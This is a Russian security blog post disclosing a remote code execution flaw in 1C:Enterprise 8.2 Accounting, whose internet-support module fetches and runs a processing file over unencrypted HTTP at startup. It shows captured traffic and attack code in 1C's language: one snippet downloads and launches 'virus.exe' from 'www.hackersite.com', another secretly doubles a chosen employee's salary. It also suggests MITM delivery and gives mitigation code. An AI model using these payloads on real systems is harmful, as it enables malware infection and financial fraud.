Дырка позволяющая удаленное исполнение произвольного кода при старте 1С 8.2 БП

в 18:35, , рубрики: 1с предприятие 8, информационная безопасность, уязвимость, метки: ,

Дырка позволяющая удаленное исполнение произвольного кода при старте 1С 8.2 БП
Я думаю все знают что такое 1С. Если не дома, то на работе в любимой бухгалтерии она точно есть.
Масштабы распространения действительно велики. По этому меня удивляет что так мало(нет?) исследований в области безопасности и уязвимостей ПО.
По этому если сообщество позволит я бы хотел рассказать об одном из своих исследований в этой области.

1С, как и любая организация, идущая в ногу со временем, старается предоставить конечному пользователю максимальное удобство при работе.

У 1С много конфигураций, своих и партнерских. Уязвимость определяется именно конфигурацией а не платформой. Моё исследование будет на примере конфигурации Бухгалтерия предприятия, редакция 2.0 (2.0.36.4), возможно уязвимы и некоторые другие конфигурации, где используются аналогичные механизмы.

Так-вот при запуске 1С мы видим авторизационное окно «Интернет поддержка пользователей».
Дырка позволяющая удаленное исполнение произвольного кода при старте 1С 8.2 БП

На языке 1С это называется «обработка». Меня всегда смущало то что открывается она достаточно долго.
В ходе расследования удалось обнаружить следующее:

GET /files/unmanaged.epf?0.8194215912837794 HTTP/1.1

User-Agent: 1C+Enterprise/8.2

Host: webits.1c.ru

Accept: */*

Расширение «epf» как раз стандартное расширение для обработок. Выкачиваю файл в ручную, открываю в конфигураторе и вижу ровно то что и должен.
Дырка позволяющая удаленное исполнение произвольного кода при старте 1С 8.2 БП

Получается что при некотором стечении обстоятельств(об этом ниже) обработка выкачивается из интернета и запускается на выполнение. Значит если вместо дефолтной обработки сервер отдаст обработку злого захера хакера то…

Но давайте по порядку

С помощью WireShark'а я сделал дамп всего диалога 1С с сервером webits.1c.ru.
Все клиент-серверные диалоги не зашифрованы! Чистый HTTP.
Вот последовательность общения:

GET /services/WebItsService.xml HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
Ответ сервера

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:36 GMT
Content-Type: text/xml
Content-Length: 7657
Last-Modified: Tue, 17 Jan 2012 06:11:40 GMT
Connection: keep-alive
Accept-Ranges: bytes

<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions name=«WebItsServiceImplService» targetNamespace=«ws.webits.onec.ru» xmlns:ns1=«schemas.xmlsoap.org/soap/http» xmlns:soap=«schemas.xmlsoap.org/wsdl/soap/» xmlns:tns=«ws.webits.onec.ru» xmlns:wsdl=«schemas.xmlsoap.org/wsdl/» xmlns:xsd=«www.w3.org/2001/XMLSchema»>
<wsdl:types>

</wsdl:port>
</wsdl:service>
</wsdl:definitions>

Ничего любопытного, сервер просто отдаёт XML файл, выкачиваем его к себе.


POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 132

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Header/>
	<soap:Body> </soap:Body>
</soap:Envelope>
Ответ сервера

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:36 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 182
Content-Language: ru

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <isReadyResponse xmlns="http://ws.webits.onec.ru">ready</isReadyResponse>
    </soap:Body>
</soap:Envelope>

POST запрос на сервер, сервер отвечает о своей готовности «ready».


Повторяется 1й GET запрос, дублировать не буду.


POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 465

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Header/>
	<soap:Body> <m:processRequest xmlns:m="http://ws.webits.onec.ru">
	<m:parameters xmlns:xs="http://www.w3.org/2001/XMLSchema"
			xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
		<m:parameter>
			<m:index>0</m:index>
			<m:name>unmanaged</m:name>
			<m:value>1.0.2.2</m:value>
		</m:parameter>
	</m:parameters>
</m:processRequest></soap:Body>
</soap:Envelope>
Ответ сервера. Вариант 1

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:37 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 1305
Content-Language: ru

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <processResponse xmlns="http://ws.webits.onec.ru">
            <commands>
                <command>
                    <name>launch</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>bp</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <value>http://webits.1c.ru/services/WebItsService.xml?wsdl</value>
                            <parameters
                            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>nameURI</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <value>http://ws.webits.onec.ru</value>
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
            </commands>
        </processResponse>
    </soap:Body>
</soap:Envelope>

Или

Ответ сервера. Вариант 2

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:37 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 1305
Content-Language: ru

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <processResponse xmlns="http://ws.webits.onec.ru">
            <commands>
                <command>
                    <name>download</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>unmanaged</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <value>http://webits.1c.ru/files/unmanaged.epf?0.2508892420477489</value>
                            <parameters
                            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
                <command>
                    <name>launch</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>bp</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <value>http://webits.1c.ru/services/WebItsService.xml?wsdl</value>
                            <parameters
                            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>nameURI</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <value>http://ws.webits.onec.ru</value>
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
            </commands>
        </processResponse>
    </soap:Body>
</soap:Envelope>

А вот тут у нас два варианта развития событий. Как видно POST запросом 1С передает на сервер версию уже имеющейся в базе обработки "<m:value>1.0.2.2</m:value>"
1) Ответ сервера когда версия обработки актуальна.
2) Как раз наш вариант, когда сервер сообщает что нужно выкачать новую версию.


GET /files/unmanaged.epf?0.2508892420477489 HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
Ответ сервера

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:06 GMT
Content-Type: application/octet-stream
Content-Length: 234389
Last-Modified: Fri, 08 Jun 2012 13:12:48 GMT
Connection: keep-alive
Accept-Ranges: bytes

..............{идет пересылка обработки}

Тут как раз самый GET, сюда то мы и будем пихать свой код вместо обработки.


GET /stats.jsp HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
Version platform: 8.2.15.301
Place start: Start'
Name configuration: 77u/0JHRg9GF0LPQsNC70YLQtdGA0LjRj9Cf0YDQtdC00L/RgNC40Y/RgtC40Y8=
Version configuration: 2.0.36.4
Version Web-ITS: 1.0.2.2
Ответ сервера

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:07 GMT
Content-Type: application/octet-stream
Content-Length: 15
Last-Modified: Tue, 24 Jan 2012 06:01:34 GMT
Connection: keep-alive
Accept-Ranges: bytes

<body>OK</body>

Тут тоже всё ясно, клиент передает информацию о себе, сервер проверяет и дает отчет о готовности.


Повторяется 1й POST. Снова выкачивается XML файл.


POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 2479

Тело

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Header/>
	<soap:Body> <m:processRequest xmlns:m="http://ws.webits.onec.ru">
	<m:parameters xmlns:xs="http://www.w3.org/2001/XMLSchema"
			xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
		<m:parameter>
			<m:index>0</m:index>
			<m:name>versionConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>2.0.36.4</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>1</m:index>
			<m:name>versionPlatform</m:name>
			<m:type>startUp</m:type>
			<m:value>8.2.15.301</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>2</m:index>
			<m:name>nameConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>БухгалтерияПредприятия</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>3</m:index>
			<m:name>versionWebIts</m:name>
			<m:type>startUp</m:type>
			<m:value>1.0.2.2</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>4</m:index>
			<m:name>language</m:name>
			<m:type>startUp</m:type>
			<m:value>ru_RU</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>5</m:index>
			<m:name>versionUpdateConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>Версия 1.1.6.8</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>6</m:index>
			<m:name>conditionalNameConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>БП</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>7</m:index>
			<m:name>enterPoint</m:name>
			<m:type>startUp</m:type>
			<m:value>systemStart</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>9</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>authUrlPassword</m:name>
			<m:type>session_startup</m:type>
			<m:value>http://users.v8.1c.ru/webits.jsp?user=*******&password=**************;target=</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>10</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>bp</m:name>
			<m:type>session_startup</m:type>
			<m:value>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>11</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>userId</m:name>
			<m:type>session_startup</m:type>
			<m:value>94310</m:value>
		</m:parameter>
	</m:parameters>
</m:processRequest></soap:Body>
</soap:Envelope>

Ответ сервера

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:08 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 2250
Content-Language: ru

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <processResponse xmlns="http://ws.webits.onec.ru">
            <commands>
                <command>
                    <name>store.put</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</bp>
                            <name>session_id</name>
                            <type>session_startup</type>
                            <value>d0636be7-b5a0-43ea-acdf-0a35d5f50566</value>
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</bp>
                            <name>bp</name>
                            <type>session_startup</type>
                            <value>http://webits.1c.ru/services/WebItsService.xml?wsdl</value>
                            <parameters
                            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
                <command>
                    <name>store.get</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>login</name>
                            <type>startup</type>
                            <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>password</name>
                            <type>startup</type>
                            <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
            </commands>
        </processResponse>
    </soap:Body>
</soap:Envelope>

Тут клиент отпять сообщает серверу еще больше данных в том числе логин и пароль для авторизации. А сервер отдает ему очередную порцию указаний.


Снова POST на выкачивания XML файла (1й)


POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 2738
Тело

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Header/>
	<soap:Body> <m:processRequest xmlns:m="http://ws.webits.onec.ru">
	<m:parameters xmlns:xs="http://www.w3.org/2001/XMLSchema"
			xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
		<m:parameter>
			<m:index>0</m:index>
			<m:name>versionConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>2.0.36.4</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>1</m:index>
			<m:name>versionPlatform</m:name>
			<m:type>startUp</m:type>
			<m:value>8.2.15.301</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>2</m:index>
			<m:name>nameConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>БухгалтерияПредприятия</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>3</m:index>
			<m:name>versionWebIts</m:name>
			<m:type>startUp</m:type>
			<m:value>1.0.2.2</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>4</m:index>
			<m:name>language</m:name>
			<m:type>startUp</m:type>
			<m:value>ru_RU</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>5</m:index>
			<m:name>versionUpdateConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>Версия 1.1.6.8</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>6</m:index>
			<m:name>conditionalNameConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>БП</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>7</m:index>
			<m:name>enterPoint</m:name>
			<m:type>startUp</m:type>
			<m:value>systemStart</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>9</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>authUrlPassword</m:name>
			<m:type>session_startup</m:type>
			<m:value>http://users.v8.1c.ru/webits.jsp?user=*******&password=************&target=</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>10</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>bp</m:name>
			<m:type>session_startup</m:type>
			<m:value>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>11</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>session_id</m:name>
			<m:type>session_startup</m:type>
			<m:value>*****************************</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>12</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>userId</m:name>
			<m:type>session_startup</m:type>
			<m:value>94310</m:value>
		</m:parameter>
	</m:parameters>
</m:processRequest></soap:Body>
</soap:Envelope>

Ответ сервера

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:08 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 793
Content-Language: ru

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <processResponse xmlns="http://ws.webits.onec.ru">
            <commands>
                <command>
                    <name>ui.open</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>IndexForm</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <value>f4</value>
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
            </commands>
        </processResponse>
    </soap:Body>
</soap:Envelope>


Дырка позволяющая удаленное исполнение произвольного кода при старте 1С 8.2 БП

Вот так выглядит общение, как видно все очень просто.

Следующим шагом я накидал небольшой веб сервер, который копировал ответы сервера, но менял код обработки на мою.

Чтобы 1С не выпадало в ошибки нужно соблюсти некоторые правила при написании своей фейковой обработки:
1)Нужно объявить 4 реквизита
URIСервиса, ИмяWSОпределения, МестоЗапуска: Строкового типа
Параметры: Тип «Произвольный»
Заполнять их не обязательно.
2)Нужно создать форму с названием «Стартовая» и Объявить её основной.
Страшного в этом ничего нет, в событие формы «При открытии» можно сразу её «Закрыть();» и далее выполнять любой произвольный код, так что жертва на экране ничего не увидит.

Что мы можем сделать?

Самое очевидное для хакера будет:

HTTP = Новый HTTPСоединение("www.hackersite.com");
ИмяВременногоФайла=ПолучитьИмяВременногоФайла("exe");
HTTP.Получить("/virus.exe",ИмяВременногоФайла);
ЗапуститьПриложение(ИмяВременногоФайла);

Но есть и более забавные варианты:

Если РольДоступна("Бухгалтер") Тогда 
//Можно таргетить не роль, а даже на конкретного пользователя.
	Запрос=Новый Запрос();
	Сотрудник=Справочники.ФизическиеЛица.НайтиПоНаименованию("Иванов Иван Иванович");
	Запрос.Текст="ВЫБРАТЬ РАЗЛИЧНЫЕ
	|	НачислениеЗарплатыРаботникамОрганизацийНачисления.Ссылка
	|ИЗ
	|	Документ.НачислениеЗарплатыРаботникамОрганизаций.Начисления КАК НачислениеЗарплатыРаботникамОрганизацийНачисления
	|ГДЕ
	|	НачислениеЗарплатыРаботникамОрганизацийНачисления.Физлицо = &Сотрудник
	|	И НачислениеЗарплатыРаботникамОрганизацийНачисления.Ссылка.Дата МЕЖДУ &Дата1 И &Дата2";
	Запрос.УстановитьПараметр("Сотрудник",Сотрудник);
	Запрос.УстановитьПараметр("Дата1 ",НачалоМесяца(ТекущаяДата()));
	Запрос.УстановитьПараметр("Дата2 ",КонецМесяца(ТекущаяДата()));
	Результат=Запрос.Выполнить.Выбрать();
	Пока Результат.Следующий() Цикл
		Док=Результат.Ссылка.ПолучитьОбъект();
		НужнаяСтрока=Док.Начисления.Найти(Сотрудник,"ФизЛицо");
		Если НужнаяСтрока<>Неопределено Тогда
			НужнаяСтрока.Начислено=НужнаяСтрока.Начислено*2;
			Попытка
				Если Док.Проведен=Истина Тогда
					Док.Записать(РежимЗаписиДокумента.Проведение);
				Иначе
					Док.Записать();
				КонецЕсли;	
			Исключение
				//	
			КонецПопытки
		КонецЕсли;
	КонецЦикла;
КонецЕсли;

И любые другие извращения с базой данных. И никаких следов, все логи будут указывать на то что сделал это сам пользователь.

Всё усугубляется еще и тем что у многих 1С занесено в исключения в антивирусах и фаерволах, чтобы не было проблем с работой ключей защиты, особенно сетевых, да и вообще с программой.

В боевых условиях атака может быть совершена путем DNS спуфинга или MITM атакой с модификацией трафика, например Ettercap'ом.

Как защищаться?

По умолчанию для всех пользователей обработка будет выполняться при старте системы.
Можно воспользоваться приведенным ниже кодом чтобы отключить автозапуск обработки при старте 1С. Ну и не забывать отключать этот функционал для новых пользователей.

ВыбПользователи   = ПользователиИнформационнойБазы.ПолучитьПользователей();
Если ВыбПользователи.Количество()>0 тогда
       Для Каждого Пользователь Из ВыбПользователи Цикл
             ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей","ПовторитьПопыткуПодключенияПриСтартеПрограммы", Ложь, , Пользователь.Имя);
             ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей", "ВсегдаПоказыватьПриСтартеПрограммы", Ложь , Пользователь.Имя);
             Сообщить("Для пользователя " + Пользователь.Имя + " интернет-поддержка отключена");
       КонецЦикла;
 Иначе
       ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей", "ПовторитьПопыткуПодключенияПриСтартеПрограммы", Ложь);
       ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей", "ВсегдаПоказыватьПриСтартеПрограммы", Ложь);
       Сообщить("Интернет-поддержка отключена");
КонецЕсли;

В саппорт 1С отписался пару дней назад.

Если сообществу окажется интересна данная тема, можно продолжить исследования в этой области.
Конечная цель исследования — не взлом, а улучшение нашей с вами защиты, по этому НЕ надо использовать эту информацию в незаконных целях.
Спасибо за внимание.

Автор: AndreyKu

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js